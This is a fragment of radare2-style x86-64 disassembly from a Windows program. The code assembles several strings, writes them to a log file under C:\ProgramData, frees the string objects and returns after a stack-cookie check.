lea r8, [rbp + 0x60]
mov rdx, rax
lea rcx, [rbp + 0x13e0]
call fcn.140019030
nop
mov r8, rsi
mov rdx, rax
lea rcx, [rbp + 0x13c0]
call fcn.140019110
nop
lea r8, [rbp + 0x600]
mov rdx, rax
lea rcx, [rbp + 0x13a0]
call fcn.140019030
nop
mov r8, r15
mov rdx, rax
lea rcx, [rbp + 0x1380]
call fcn.1400190a0
nop
mov r8, r14
mov rdx, rax
lea rcx, [rbp + 0x1360]
call fcn.140019110
mov rbx, rax
mov dword [rsp + 0x20], 1
mov r9d, 0x40
mov r8d, 8
lea rdx, str.C:ProgramData.log
lea rcx, [rbp + 0x2f00]
call fcn.140017c10
nop
mov rdx, rbx
mov rcx, rax
call fcn.140019130
nop
lea rcx, [rbp + 0x2f00]
call fcn.1400106e0
nop
lea rcx, [rbp + 0x1360]
call fcn.140017eb0
nop
lea rcx, [rbp + 0x1380]
call fcn.140017eb0
nop
lea rcx, [rbp + 0x13a0]
call fcn.140017eb0
nop
lea rcx, [rbp + 0x13c0]
call fcn.140017eb0
nop
lea rcx, [rbp + 0x13e0]
call fcn.140017eb0
nop
lea rcx, [rbp + 0x1400]
call fcn.140017eb0
nop
lea rcx, [rbp + 0x1420]
call fcn.140017eb0
nop
lea rcx, [rbp + 0x1440]
call fcn.140017eb0
nop
lea rcx, [rbp + 0x1460]
call fcn.140017eb0
nop
lea rcx, [rbp + 0x1480]
call fcn.140017eb0
nop
lea rcx, [rbp + 0x14a0]
call fcn.140017eb0
nop
lea rcx, [rbp + 0x14c0]
call fcn.140017eb0
nop
lea rcx, [rbp + 0x14e0]
call fcn.140017eb0
nop
lea rcx, [rbp + 0x1500]
call fcn.140017eb0
xor eax, eax
mov rcx, qword [rbp + 0x3d40]
xor rcx, rsp
call fcn.140052020
mov rbx, qword [rsp + 0x3de8]
add rsp, 0x3da0
pop r15
pop r14
pop r13
pop r12
pop rdi
pop rsi
pop rbp
ret
call fcn.140052234
int3
mov r8, rdx
mov dl, 1
jmp 0x140011520